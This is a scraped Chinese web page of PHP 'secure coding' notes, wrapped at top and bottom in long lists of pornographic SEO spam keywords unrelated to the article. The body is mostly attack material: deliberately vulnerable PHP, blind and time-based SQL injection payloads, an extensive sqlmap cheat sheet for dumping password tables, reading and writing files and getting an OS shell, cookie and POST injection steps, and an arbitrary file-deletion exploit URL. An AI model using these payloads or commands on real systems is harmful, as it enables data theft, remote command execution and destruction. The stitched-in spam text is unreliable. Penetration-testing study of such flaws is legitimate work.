gmnon.cn-疯狂蹂躏欧美一区二区精品,欧美精品久久久久a,高清在线视频日韩欧美,日韩免费av一区二区

站長資訊網
最全最豐富的資訊網站

PHP安全編碼總結(經驗分享)

本篇文章給大家帶來了關于PHP安全的相關知識,其中主要介紹了什么是SQL注入?盲注是怎么使用的?常用檢測命令有哪些等等,下面一起來看一下,希望對需要的朋友有所幫助。

PHP安全編碼總結(經驗分享)

PHP 安全編碼總結筆記

SQL注入: 代碼中的 HTTP_X_FORWARDED_FOR 地址可以被偽造,而REMOTE_ADDR則相對更安全,有些應用程序會將對方IP地址帶入數據庫查詢是否存在,例如同一個IP每天只能注冊一個賬號等,如果目標代碼中使用的是 HTTP_X_FORWARDED_FOR 獲取的IP地址,那么攻擊者就可以通過修改HTTP包頭實現SQL注入攻擊。

<?php function get_client_addr(){ if($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"],"unknown")){ $ip = $_SERVER["HTTP_CLIENT_IP"]; echo "HTTP_CLIENT_IP =" . $ip; }else if($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")){ $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; echo "HTTP_X_FORWARDED_FOR =" . $ip; }else if($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")){ $ip = $_SERVER["REMOTE_ADDR"]; echo "REMOTE_ADDR =" . $ip; }else{ $ip = "unknown"; } return $ip; } $addr = get_client_addr(); ?>
登錄后復制

SQL注入: 一種使用了過濾的代碼,接受的參數經過過濾,字符串會被過濾掉SQL注入的關鍵字,整數會被強制轉換為整數。

<?php $var = date_default_timezone_get(); echo "當前時區: " . $var . "<br>"; date_default_timezone_set("Asia/Shanghai");  if(!get_magic_quotes_gpc()){ $var = waf($_GET['id']); echo "過濾后的參數: " . $var; }  function waf($array){ if(is_array($array)){ foreach ($array as $key => $value) { $array [$key] = waf($value); } }else if(is_string($array)){ $array = addslashes($array); #$array = str_ireplace("and", "fuck", $array); $substr = array( "and" => "fuck you !", "where" => "fuck you !", "union" => "fuck you !", "select" => "fuck you !", "order" => "fuck you !", "update" => "fuck you !", "sleep" => "fuck you !", ); $array = str_ireplace(array_keys($substr), $substr,$array); }else if(is_numeric($array)){ $array = intval($array); } return $array; } ?>
登錄后復制

盲注的使用

首先需要簡單修改上方的源代碼,去掉回顯框,然后修改以下代碼.

<!DOCTYPE html> <html> <head>     <meta charset="gbk">     <title>SQL 注入測試代碼</title> </head>         <?php         $connect = mysqli_connect("localhost","root","123","lyshark");         if($connect)         {                 $id = $_GET['id'];                 if(isset($id))                 {                         $sql = "select * from users where id='$id' limit 0,1";                         $query = mysqli_query($connect,$sql);                         $row = mysqli_fetch_array($query);                         if(!empty($row))                         {                                 print("查詢完成了..");                         }else                         {                                 print("查詢失敗");                         }                 }         }         ?> <body>         <?php echo '<hr><b> 后端執行SQL語句:  </b>' . $sql;  ?> </body> </html>
登錄后復制

猜數據庫名稱: 盲注也就是程序會返回兩種狀態,查詢成功與查詢失敗,我們需要自己構建判斷條件,常用語句如下.

index.php?id=1' and left(version(),1)=5 --+            // 返回正常,說明版本號是5 index.php?id=1' and (length(database()))=7 --+         // 返回正常,說明數據庫名字長度是7  index.php?id=1' and (left(database(),1))='l' --+       // 返回正常,說明數據庫第一位是l index.php?id=1' and (left(database(),2))='ly' --+      // 返回正常,說明數據庫前兩位位是ly,以此類推  index.php?id=1' and ord(mid((CAST(database() AS CHAR)),1,1))=108 --+  // 驗證第一位是否為l index.php?id=1' and ord(mid((CAST(database() AS CHAR)),2,1))=121 --+  // 驗證第二位是否為y,以此類推
登錄后復制

猜表名:如果網頁返回正常,則說明存在這個表,返回不正常說明不存在.

index.php?id=1' and (select count(*) from mysql.user) >=0     // 存在mysql.user表 index.php?id=1' and (select count(*) from lyshark) >=0        // 存在lyshark表
登錄后復制

猜字段: 如果網頁返回正常,說明存在猜測的字段,不正常則需要繼續猜.

index.php?id=1' and (select count(id) from users) >=0       // 返回正常說明存在id字段 index.php?id=1' and (select count(name) from users) >=0     // 返回不正常不存在name字段 index.php?id=1' and (select count(*) from lyshark) >=3 #--   // 返回表中記錄數
登錄后復制

用戶名猜測: 通過正則符號也可使完成多指定用戶的探測,其他函數用法相同.

index.php?id=1' and (length(user())) >=14 #                // 猜測數據庫用戶名稱長度 index.php?id=1' and (select user() like 'root%') #         // 猜測用戶名 index.php?id=1' and (select user() regexp '^[a-z]') #      // 猜測開頭a-z index.php?id=1' and (select user() regexp '^r') #          // 第一位是r index.php?id=1' and (select user() regexp '^ro') #         // 第二位是o index.php?id=1' and (select user() regexp '^root') #       // 以此類推猜測前四位
登錄后復制

延時注入: 通過sleep(5)延時的方式,我們同樣可以判斷是否存在注入點.

index.php?id=1' and sleep(5) # index.php?id=1' and sleep(5) order by 3 #                       // 如果是3個字段,則會延時5秒 index.php?id=1' and select if(length(user())=0,sleep(3),1) #    //如果user=0則延時3秒 index.php?id=1' and if(hex(mid(user(),1,1))=100,sleep(3),1) #   // 第1個字符=d則延時3秒 index.php?id=1' and if(hex(mid(user(),1,1))=118,sleep(3),1) #   // 第2個字符=v則延時3秒
登錄后復制

◆sqlmap 命令◆

常用檢測命令:

sqlmap -u "./index.php?id=1" -v 3                   # 顯示攻擊載荷 sqlmap -u "./index.php?id=1" --level=3              # 指定探測級別 sqlmap -u "./index.php?id=1" --privileges           # 測試所有用戶權限 sqlmap -u "./index.php?id=1" --privileges root      # 測試root用戶權限 sqlmap -u "./index.php?id=1" --all                  # 查詢所有數據庫 sqlmap -u "./index.php?id=1" --hostname             # 查詢當前主機名 sqlmap -u "./index.php?id=1" --is-dba               # 判斷root權限 sqlmap -u "./index.php?id=1" --users                # 枚舉數據庫用戶 sqlmap -u "./index.php?id=1" --random-agent         # 隨機User-Agent sqlmap -u "./index.php?id=1" --output-dir=""        # 自定義輸出目錄 sqlmap -u "./index.php?id=1" --file-read=""         # 讀取文件 sqlmap -u "./index.php?id=1" --file-write=""        # 寫入操作 sqlmap -u "./index.php?id=1" --os-cmd="net user"    # 執行一條命令 sqlmap -u "./index.php?id=1" --os-shell             # 交互執行命令 sqlmap -u "./index.php?id=1" --sql-query=""         # 執行的SQL語句 sqlmap -u "./index.php?id=1" --cookie=""            # 指定cookie sqlmap -u "./index.php?id=1" --temper=""            # 指定過濾腳本 sqlmap -u "./index.php?id=1" --dbs --delay 1        # 延時1秒后注入 sqlmap -u "./index.php?id=1" --dbs --safe-freq 3    # 延時3秒后注入  sqlmap -u "./index.php?id=1" --identify-waf                  # 測試是否有WAF sqlmap -u "./index.php?id=1" --current-db                    # 查詢當前數據庫 sqlmap -u "./index.php?id=1" --current-user                  # 查詢當前主機名 sqlmap -u "./index.php?id=1" --users                         # 查詢所有用戶名 sqlmap -u "./index.php?id=1" --dbs                           # 列出所有數據庫 sqlmap -u "./index.php?id=1" --tables                        # 列出所有的表  sqlmap -u "./index.php?id=1" -D "mysql" --tables             # 獲取mysql庫中的表 sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns  # 獲取mysql.host表列名稱 sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump     # 將mysql.host保存到本地 sqlmap -u "./index.php?id=1" -D "mysql" --dump-all           # 全部脫褲 sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dump
登錄后復制

Cookie注入: 當level>=2時,使用cookie注入,level >=3 使用User-agent/Referer注入.

sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2                        #判斷注入點 sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2                  #猜數據庫名 sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2               #猜表名稱 sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --level 2        #猜字段 sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --dump --level 2 #猜內容
登錄后復制

POST注入: 該方法通常是使用抓包工具抓取數據包,然后指定字段進行測試即可.

1.瀏覽器打開目標地址 http://www.xxx.com/index.php

2.配置burp代理(127.0.0.1:8080) 準備攔截請求

3.點擊login表單的submit按鈕,或者其他按鈕均可

4.這時候Burp會攔截到了我們的登錄POST請求

5.把這個post請求復制為txt,記錄下其中的 id=1&Submit=Submit

sqlmap -r post.txt -p id --dbs Sqlmap -r post.txt -p id -D mysql --tables Sqlmap -r post.txt -p id -D mysql -T user --columns sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"
登錄后復制

其他漏洞利用

任意文件刪除: 執行刪除語句http://php.com/?dir=…..////&file=a.txt 完成漏洞利用.

<?php $dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\', '../', './', '.\'), '', urldecode(trim($_GET['dir']))) : ''; $dir = str_replace("-", "/", $dir); $file = isset($_GET['file']) && trim($_GET['file']) ? trim($_GET['file']) : ''; $path = "./" . $dir . "/" . $file; $path = str_replace(array("//"), array("/"), $path); echo "當前路徑是: " . $path . "<br>"; if (file_exists($path)) { if (unlink($path)) {     echo "刪除完成.."; } else {     echo "刪除失敗.."; } } ?>
登錄后復制

推薦學習:《PHP視頻教程》

贊(0)
分享到: 更多 (0)
?
網站地圖   滬ICP備18035694號-2    滬公網安備31011702889846號
gmnon.cn-疯狂蹂躏欧美一区二区精品,欧美精品久久久久a,高清在线视频日韩欧美,日韩免费av一区二区
欧美精品色婷婷五月综合| 国产二区视频在线播放| 色综合天天色综合| av免费观看国产| www.日本三级| 欧美国产日韩激情| 国产av人人夜夜澡人人爽麻豆 | 在线观看日本一区二区| aaa毛片在线观看| 一本大道熟女人妻中文字幕在线| 无码人妻少妇伦在线电影| 日本大片免费看| 337p粉嫩大胆噜噜噜鲁| 波多野结衣乳巨码无在线| 欧美亚洲日本一区二区三区 | avove在线观看| 国产911在线观看| 亚洲国产精品无码av| 日韩免费一级视频| 日本激情视频在线| 中文字幕 欧美日韩| 日韩video| 99色精品视频| 中文字幕 欧美日韩| 男人日女人的bb| www.com毛片| 亚洲av毛片在线观看| 国产xxxx振车| 亚洲污视频在线观看| 国产精品88久久久久久妇女| 国产高清av在线播放| 久久午夜夜伦鲁鲁一区二区| 国产精品夜夜夜爽张柏芝| 国产超级av在线| 99精品视频网站| 日本在线视频www| 女人床在线观看| 色播五月综合网| 超碰97在线看| 精品999在线| av无码久久久久久不卡网站| 亚洲一级免费在线观看| 免费看国产一级片| 秋霞在线一区二区| 黄色国产小视频| 一卡二卡三卡视频| 一级一片免费播放| 亚洲激情在线观看视频| 麻豆tv在线播放| 影音先锋男人的网站| 波多野结衣xxxx| 中文字幕无码不卡免费视频| 国产在线无码精品| 亚洲av毛片在线观看| 性chinese极品按摩| 免费在线观看亚洲视频| 国产青草视频在线观看| 香蕉视频xxxx| 亚洲欧美日韩网站| 免费网站在线观看黄| 亚洲 欧美 日韩系列| 国产精品无码一本二本三本色| 国产xxxx振车| 和岳每晚弄的高潮嗷嗷叫视频| www.桃色.com| 韩国一区二区在线播放| 亚洲网中文字幕| 国产欧美一区二| www.污网站| 免费国产成人看片在线| 日韩最新中文字幕| 黄色影视在线观看| 91精品一区二区三区四区| 肉色超薄丝袜脚交| 人人妻人人澡人人爽精品欧美一区| xxww在线观看| 26uuu成人| 青青青青在线视频| 国产乱子伦农村叉叉叉| 日韩视频第二页| 中文字幕 91| 国产探花在线观看视频| dy888午夜| 男的插女的下面视频| 欧美深夜福利视频| 亚洲 欧美 日韩系列| 色综合五月婷婷| 97超碰人人澡| av免费一区二区| 成人免费看片'免费看| www.亚洲天堂网| www.色.com| 女性女同性aⅴ免费观女性恋| 黄色一级二级三级| 1314成人网| 九色在线视频观看| 黄色aaaaaa| 国产精品免费观看久久| 国产探花在线观看视频| 精品中文字幕av| 自拍偷拍视频在线| 黑鬼大战白妞高潮喷白浆| 亚洲精品在线网址| 亚洲人成色77777| 欧美a级黄色大片| 国产主播中文字幕| 少妇久久久久久被弄到高潮| 无遮挡又爽又刺激的视频 | 四季av一区二区三区| 国产免费黄色小视频| 69久久久久久| 熟女性饥渴一区二区三区| 熟妇熟女乱妇乱女网站| 国产日韩成人内射视频| 欧美一级中文字幕| 在线看免费毛片| 天天操天天爱天天爽| 99在线免费视频观看| 欧美日韩在线免费观看视频| 欧美 国产 日本| 69sex久久精品国产麻豆| 超碰在线超碰在线| 亚洲久久中文字幕| 99免费视频观看| 男人亚洲天堂网| 欧美三级在线观看视频| 欧美性猛交内射兽交老熟妇| 亚洲国产精品影视| 国产精品美女在线播放| 亚洲精品免费一区亚洲精品免费精品一区| 女人喷潮完整视频| 国产成人精品视频免费看| 99色这里只有精品| www.av毛片| 免费不卡av在线| 国产精品第157页| 久久久久免费看黄a片app| aa视频在线播放| 尤物av无码色av无码| 欧美精品一区免费| 国产成人久久777777| 亚洲精品乱码久久久久久自慰| 欧美一级片中文字幕| 日本激情视频在线播放| av噜噜在线观看| 国产手机视频在线观看| 男人天堂手机在线视频| 九一国产精品视频| 国产精彩免费视频| 日本一二三区在线| 国产精品69久久久| 国产一区亚洲二区三区| 向日葵污视频在线观看| 日韩视频 中文字幕| 久久精品免费一区二区| 99热这里只有精品在线播放| 57pao国产成永久免费视频| 成年人黄色在线观看| 国产原创中文在线观看 | 日本wwww视频| 国产一级片中文字幕| wwwwww欧美| 日日摸天天爽天天爽视频| 国产成人在线综合| 黄色成人在线看| 极品粉嫩美女露脸啪啪| 人人妻人人澡人人爽欧美一区双 | aⅴ在线免费观看| 国产免费xxx| 国产又猛又黄的视频| 日韩视频一二三| 亚洲性生活网站| 国产不卡一区二区视频| 中文字幕亚洲乱码| 欧美三级午夜理伦三级| 麻豆md0077饥渴少妇| 男人搞女人网站| 黄网站欧美内射| 色爽爽爽爽爽爽爽爽| 亚洲老女人av| 成年人网站大全| 国产白丝袜美女久久久久| 亚洲高清在线不卡| 国产福利一区视频| 国产免费黄视频| 日本阿v视频在线观看| 日韩欧美理论片| 亚洲综合欧美在线| 久久久久狠狠高潮亚洲精品| 国产freexxxx性播放麻豆| 手机免费看av网站| www欧美激情| 免费裸体美女网站| 日本在线观看a| 久久无码高潮喷水| 无码人妻h动漫| 1024精品视频| 九九视频精品在线观看| 国产精品69页| 自拍偷拍一区二区三区四区|